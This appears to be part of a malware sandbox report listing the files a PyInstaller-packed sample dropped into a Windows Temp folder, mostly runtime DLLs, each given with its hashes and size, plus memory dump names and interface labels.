Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-heap-l1-1-0.dll
Size 21KB
SHA256 54b51444c8b6c9342fd20f5a5b0909a906acd0bdc9cf4d70134d5f8cffbe3209
MD5 1034b4c29f19a19b632743326e1ff771
SHA1 079fec3a020ab1031f0d47782a8238386f4f3f62
SHA512 d3e3b72dd3c8f08267f761a6b1bb1664f0c34eea54cbef99c710cc23d6904481d0f47f0318a07f6c517834e4efbdf6b2616d2e27708e051ddc841dfcd8d31e8d
SSDEEP 192:EdxltWZhWYW4pICSjRof0cVWQ4aWM+3iK2YdX01k9z3Acc0us:EdxltWZhWW2xlc5wR9z20us
TLSH
T10BA22BCA9AA89603FEAFAE7053A4E9473C3DB3C61510806509D8F5582CD33D1EB35B6D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-interlocked-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-interlocked-l1-1-0.dll
Size 21KB
SHA256 ff341ef2c2c389d44bbb1c919ff42ec360015985c0dae2ac760ac5acad0cb1d1
MD5 dbe8ac845032de6a29a01e7a8bfa6595
SHA1 b2b2e984380c6c05eefd824a0478d623dd3e84b7
SHA512 e722d3a24a792c143daf38828d508eed3696fccb3f2158e428c252801be9e8c0a28e31ba116d506ccdb0722188ef6b7e060bec00073fe0e23f410e1e6d7a169f
SSDEEP 192:8cWZhWrW4pICSjRof0cVWQ4GW+LjFuC1/or7o0X01k9z3AExY+:rWZhWR2xlcp/1Z0R9zbe+
TLSH
T119A21B829EAC9547FAEB6EB043A8D9433C3C97D6150090561AE9F09C1CD77C1EF2166E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-libraryloader-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-libraryloader-l1-1-0.dll
Size 21KB
SHA256 6cbc929f814d7e931e0f6f510da1696b059c53bf66934a68d218d3342ce4a289
MD5 ae5132c8595181cf05dc7cca5ca723f2
SHA1 0a1f017457adfa7146107b02e6c541ec79a50f44
SHA512 51aca4c11b1fb3803fb19ef5ca540f9b08f780e70aa290f01abb2d7778a764f74fe9ec74f5c16ff1736db2f8f1feb19db1a37c738cd3cc0f3fde89809674d341
SSDEEP 192:4TvuBL3BBLMWZhWlW4pICSjRof0cVWQ4iWgT5HIL0sAWAC/X01k9z3AxrpG+:4TvuBL3B+WZhWj2xlcrXzC/R9zmrs+
TLSH
T1D5A22BD386AC9143FAEE5EB041E4C5476C3A67C78D1194BA06DDE25C28A33D0EB10A7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-localization-l1-2-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-localization-l1-2-0.dll
Size 21KB
SHA256 3ddbcd067d495845b7134f30bcea031ad558df4acb562b2f3190941913227158
MD5 da6e95b036eccdcdab3bc6069c8cedae
SHA1 54338be7dbaed3ae020b04e6270de418b7b1b69e
SHA512 69c54ef10c873023a10023bb94325f4094b383eafe16397275d03decdd770c728b43f94ff722501662feb23bbf9edcab93008b316e286eeaa881beebfe3bd98d
SSDEEP 384:HnaOMw3zdp3bwjGzue9/0jCRrndb7WZhW92xlcLvpNR9z7Yw3o:6OMwBprwjGzue9/0jCRrndbao2819zx3
TLSH
T169A22A93DAA8D207F88EED707166D8432C39A7860811949517E4FF1839E3386FBA176D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-memory-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-memory-l1-1-0.dll
Size 21KB
SHA256 bfa2145c3d615540193a41c9f9605018062307e9fcf1665c390f0034178ecb4a
MD5 84fcdc8e69dcb800756c8ccab6eb0139
SHA1 6f248bfeff341105899173e9575002b4474fb8d0
SHA512 351cc6f478847ba18a9dff48916ca92a4ba311644cf1ab8a30688e7373848d0ff0934865ab7e100c83165750a2a57bcbfe3a92f67e358b0a2c82b295c7815493
SSDEEP 192:ooWZhW5kWCYtvnVWQ4GWCY823sZRrKOxHFTe5zX01k9z3AKUBqH7A:ooWZhW5/O3O1x85zR9ztY3
TLSH
T119A24CCA8A7C9507FCDAAD704395DE977C3AA7C71C90915A06E8F54818D33D1EB20A3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-namedpipe-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-namedpipe-l1-1-0.dll
Size 21KB
SHA256 4fcb066de08f48a490e7d50417469ab3099b4a7fe318a8845e4ec9b3e3fd52be
MD5 6d13a3ed4e60106177e88ab4010569dc
SHA1 1080fa5c0c033258fdf9af3542fcffab586dd830
SHA512 7d2207fda8dbde3574b15cfd7dd394d539845457baa17533a236638a7686f10f8bc9fde65c2a5b25cc2ce2d2a4775e35190864602bd9c3584b2cac943084e4dc
SSDEEP 192:6WZhWIW4pICSjRof0cVWQ4GWqXlSLiK2YdX01k9z3Acc0QjCv:6WZhWG2xlcIQwR9z207v
TLSH
T142A22AD6996C8142FE9FADB052D4DA473C3D67C71500806556E8FA582C933D0EF3076E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-processenvironment-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-processenvironment-l1-1-0.dll
Size 21KB
SHA256 f3a31997c715dec8a6857d87be217c7acb893839156838ba20b5ef818ad5c9b1
MD5 3a4d2b82eed4632ad773b92834cf8615
SHA1 9e07fa2dcc36b859a8848d120df6c70b1a4437cd
SHA512 f21eff486107ccf80cf1393c6e85a0d3670dc854c54c11b001059e3fb9d38bd01eac45b9d6bbb2125112fa2aed6d744ae3cd3e63913c63c572224af2f2123aac
SSDEEP 192:hEFPyWZhW8W4pICSjRof0cVWQ4iW4KbF0F/C+dyoX01k9z3AJmQT+BM:CF6WZhWy2xlc2WF//dJR9zemNBM
TLSH
T115A24BC65ABC5102FA8A7E7041A9E9633C3C57F71D10906A1698FB582CE7381FB10B6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-processthreads-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-processthreads-l1-1-0.dll
Size 21KB
SHA256 470e9d04a1aa19c6b84b5b10cb055ff55caabe0f45d63090865c196b66c295f5
MD5 a1fd2e1f3e20518c102455b80654a506
SHA1 62904587b2d1acb270ce4ddb09829bb9d0963b3d
SHA512 80784de136c0bba906f5d7810ea4aa30dd44bc0479e88955178ce4fbdb88c241e25433f962b816e77cadff8120fd695bf33e4be8a278c35fdd50d1f67b6afff5
SSDEEP 384:tck1JzNcKSIoWZhW5hIqpQlb1x85zR9zt6W:BcKS6/d109z/
TLSH
T139A218C2857CD283FCCEA8702295E9632C3AD3C61919916606E8F5AD3DFB3C2D62453D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-processthreads-l1-1-1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-processthreads-l1-1-1.dll
Size 21KB
SHA256 4e57ceffbc2ef0e4dbfb92854756f97d2b34d9e29db16f46c476ed360b92b1cc
MD5 341c352fd602cc3f6d32ad3c7a604ca6
SHA1 2955d5c492f0104de1bd727b0d34eb814d09fbf7
SHA512 49d3d0ffe8b11ae6ed84db7739fbe321e42ab18da9043c70b8dfedd1c9dad052f906d481a40034816737961c172c31717301d63295ff95ef011b2e157d952ed1
SSDEEP 192:CHDfIeIWZhW5OWCYtvnVWQ4GW9skLuC1/or7o0X01k9z3AECjGI:CHDfIeIWZhW5pgx1Z0R9zbUB
TLSH
T178A24A825ABC9043FDDBAE7053A4E9433C3EA7C61910806A15F8F44C2DD7382EB2167E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-profile-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-profile-l1-1-0.dll
Size 21KB
SHA256 0a3a017ca780353d56157682edda4cc3a19a236625fe0f2356faf635cd4f6ace
MD5 2090a00c17fe86651d5b32b46f92f6b1
SHA1 90495206e91fc0d5edd0c9b6dc72b3fc8f95471b
SHA512 290a4a0497b9d62c3e1bfa848049ebf1c76a7fb90e4ecfd8acf7168abeb2b62bf9e80a850ede61b3eddf406daca218cc676bda8e5576e6ab36dce9f906caf5f8
SSDEEP 192:bWZhWu9W4pICSjRof0cVWQ4+W5tI+MMBdRgjLX01k9z3AzsRK9p:bWZhWub2xlc0leLR9zusRK9p
TLSH
T123A22A92C6A85043FEA7BE7052E8D9537C3EB7D72940905905E5F89828D33C1EB20B6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-rtlsupport-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-rtlsupport-l1-1-0.dll
Size 21KB
SHA256 243c00a13c8fd6d764ebf22ec5a93492043949616561697b776fe9f62360665b
MD5 e1055938aa1405e106433dcf9865c70e
SHA1 bfa7284e84448530f4f17d5b4e4cd02e8729cf12
SHA512 ea76b172e18b63c5961d9d0e2d94418dc2566a925561f667b3b2d45860cf97ba6cc5a4406a5e9e1c26fa6d0df746ddb4716974009fb3677ddcb8ea78012757c3
SSDEEP 192:RGeVjWZhWgW4pICSjRof0cVWQ4OW9PL2Xfva2NX01k9z3AUYwEmnuNn:RGeVjWZhW+2xlcy6PvpNR9z7Yw3na
TLSH
T1F3A23B97AA689042FDE76F709398DE973D3DABC61994906504D8F5881CC33C0FF20A6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-string-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-string-l1-1-0.dll
Size 21KB
SHA256 be439f71ed591f8f65b8894e84569cf3cc3363d88536e49bdd998e49e069d0e8
MD5 66cb49e507917409940e4d43ed67ab91
SHA1 64a3b351ce6955ac41553984868b56d11a73e57e
SHA512 a1b6a7e77b0c1c631efbc8d9acdd797ec582235307e5a656d636edf8e2cfb660fe3932e88609d805355b9b6e06e8691cf0742d90d0e23df687c88744a4af4a4a
SSDEEP 192:SZyMvrNWZhW5bW4pICSjRof0cVWQ4eWN6Lfva2NX01k9z3AUYwEms4IXXd:SZyMvxWZhW5B2xlcNvpNR9z7Yw3sB
TLSH
T1DEA23AD29AAC9042FEDB6F7092E5ED833C3DA7C7191090A91598F54828833C1EF24B7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-synch-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\api-ms-win-core-synch-l1-1-0.dll
Size 21KB
SHA256 83e86bee356668319f4115846ed9a571cdb37cd8a0eb036fc2a960bdeafcb526
MD5 21a340b24d55d0278bc949c5249d2169
SHA1 3c1e54534fff816609e9b6b45ac37c7f225411a0
SHA512 d93dd181986261c1a373c9ccd57a54cccfaf634897fc1e63d1dd37c29becb1e3a69e21c02152d4dca346e3d4d78894e4871968cafe417aea9f3fcac00855db81
SSDEEP 384:gdwidv3V0dfpkXc0vVaCAWZhW5bV01Z0R9zbiKO:iHdv3VqpkXc0vVaURZ49zOKO
TLSH
T101A24946A7E4B587F89FEDB043E6C4533C3807C64910946726D9F54C2EE33D0EB25A2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\base_library.zip
Size 1.3MB
SHA256 aaa1b84384bac56ba10ad25e32ccbe082baa7e203db94674f88b4550a9ce8325
MD5 09489b31d3f3d285f2d9edd229cc3e36
SHA1 9b8fd584ece8f1627139cc7e6ff21d59934dd40d
SHA512 9cc9420c1d146e44e011b2e8a2fbb2447e236adbef30a9f7d83c6c5538acb8c99e0a630e223cd84e0a824eb308fd5e4b5ed57f6c9a0c24270d6e5799371f7e49
SSDEEP 12288:XFUDqfrtYzGN8TxBQtwtkW7WpiL+D3Te9if6bXuIva80201jwCVRDVoioSYB45Jp:wSuTxKtU7WpSlQja5cPPdxhYKdZaC
TLSH
T147550992B9527953FF64F37B80B7484CF31E86A2EF00C207355E42661EFE6B09E59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ffi.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\ffi.dll
Size 39KB
SHA256 eb22fc95044ce939910d41857445bd0ecc4fc4d810ba30cc6b5f7f55b48ac8ed
MD5 c19143d34230f69776ff22f1f2bf8483
SHA1 d0ea3cae088f86b3590f01dbe9578344dc6a327f
SHA512 d8061fd797d88198e5e4542c3dc184f4933de88890e6ea5594f33232166fa3c27525f71543398b407f76db2ee550961419b234c14bdeac1fba4413d343d9711f
SSDEEP 768:Xzd2RFoq8qsAMD3kZeOiJKp7ghA5YivKejAMxkE:Z2JsVL/OiQJghS7SeDx
TLSH
T18A038C07458418A4DA27D83E93628D2AC7357A351B80E2CB03E5C27B2F6B7D5EB7D354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

liblzma.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\liblzma.dll
Size 195KB
SHA256 960b67b5188e142ae86e7a3ad0ad417a6c50e7a511b19155ad46061f46d0857f
MD5 0e6f2ac23027a647582b493418f6900f
SHA1 8cbdd8625fc784f36919f0c2a7cf79bf9eab5725
SHA512 7e4c4df51b7a526e268102c64a063eb9c8d278ccbd73316301e86bd34457582e6833cf21cdedcad6bce5b480b8f1349bd21225f40a3c85800448280532f9eb6b
SSDEEP 3072:T9wAeHmKOlgbzxjioNDWg+2H/DWKrRhIb/1s9mNoOjwETVI4:T9w9R4eFUgV7rDJYOOjwE3
TLSH
T1D21428A562A5F0D6E2678C34C5678B27E7F678040310A6EF06DC837D276BBE4163A317
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\python313.dll
Size 6.8MB
SHA256 1f93d5101c446fc5d4c4bbd90e602a6bc14f6843999ee946bae3fad3521bcc5d
MD5 472d71e33f6f4c8b8acc6f8292541e20
SHA1 36f1c30d1b44cdfaf2efa7dc29c26af8b354bfef
SHA512 77ed22970420b1e6a02ddda7557427051b741b3697b32eb6bf2ee4f84926dcacbb673d37a97af34157a96d5b364f61bcfc35c4b0e2cabbc7d76e5405f69dbe0e
SSDEEP 98304:DnImtcKtB4u/K0ev/hZEvih8brpq7HHyMNLe7yvqy3apJJJPQavQ:DIE7/K0pvihHNU7I
TLSH
T179765B1672A9116CD553C0784E27850AE6B1BC483B5196CF30A6BB1D2F77BD22BFE348
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\ucrtbase.dll
Size 1.1MB
SHA256 fbed69a52fdcf571dd37fe4cc63cb86ed3732b5b998807f14968788027c00754
MD5 9cd0aff3e05fca90bf9a227c94669df6
SHA1 2330e02db78010c44838f5c542edc7d4e1be00c8
SHA512 1f29aaf87dcea351f146121a812794ec51b5ad9b0373ad6872d34a51c2c4cc2a16a6ee3b3945a4ad885918d108ce4742f12d3e0c5dd9aaa5c5a4ce310e4cc08b
SSDEEP 24576:iJG9DZM19Y7ieC9dQ8ODtLV8+BaC6EOxPcUz1RmxvSZX0ypHNHh:R/q1vOhq+BaPHxhp7
TLSH
T14F359E28B75C02AAD97BE17CC923550AF973380147709ACB03A74BBA3E277E556B7311
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zlib.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15322\zlib.dll
Size 98KB
SHA256 bb5e7e442c70bdfa2d3c45c9620835ecc5e98191bde2bc226b4d799a09ad30b3
MD5 c54771a446a5c63103d2b0b50f6ea55e
SHA1 0cf2c609469aeaa50de4ecfa84885f700055dc3e
SHA512 51047193d6b0c5d1ada3dcb6a8b27a21a2cc03a97f6504ba3614be0978c426dcd8b7706ec8a4eb27a3620b34cfda267dab7b89e2ab30c464759732726ec8ae72
SSDEEP 1536:tjTceDhwYTWwiyqpB+BYxqXwbCPUWaIOcIOZx9txOb7SU:tMeDSYqwiyqpB+xXjsWoSZx9tobGU
TLSH
T10CA39D9AA9B422A5DAF34470A4D35AAED771B01407A047CF824C97A51F13AD13F3A3FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_f1layiad.0tv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1layiad.0tv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

dberr.txt

Path C:\Windows\System32\catroot2\dberr.txt
Size 70KB
SHA256 77f1dc26bae9743a79c856910a9d30accaa8ea469b7d18a4e93148f960b227e7
MD5 71f15cef601560a9570313d7799dea8f
SHA1 2baf460fc1165fdee6bca6a25c78b209b5fd19f6
SHA512 a771a94df2572bd2eb4ec276fed9fbfd5c6371c67b5b9dd42f0a6e986f177ecfac7e4ccd9d1a2b24ddfc4de5e763e11480dbbe956607d983955156c31367c13f
SSDEEP 1536:BvLmhRouGyvVkpV0MTeHfOJFtVELejb7TsJjTpTFY/9QPyb/j1tb57kjNKc1Qnmf:ZKFf
TLSH
T1A2637E09C0D8C69CC5F609727259EEB4CE9E65CA730B5DE630FC53419AC2B063F7A869
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1712-495-0x000001BCE9600000-0x000001BCE96B2000-memory.dmp

Download

memory/2772-100-0x0000022691690000-0x00000226916B2000-memory.dmp

Download

memory/2772-257-0x00000226A9B80000-0x00000226A9B9E000-memory.dmp

Download

memory/2772-262-0x00000226A9BA0000-0x00000226A9C52000-memory.dmp

Download

memory/2772-326-0x00000226A9C60000-0x00000226A9C6A000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads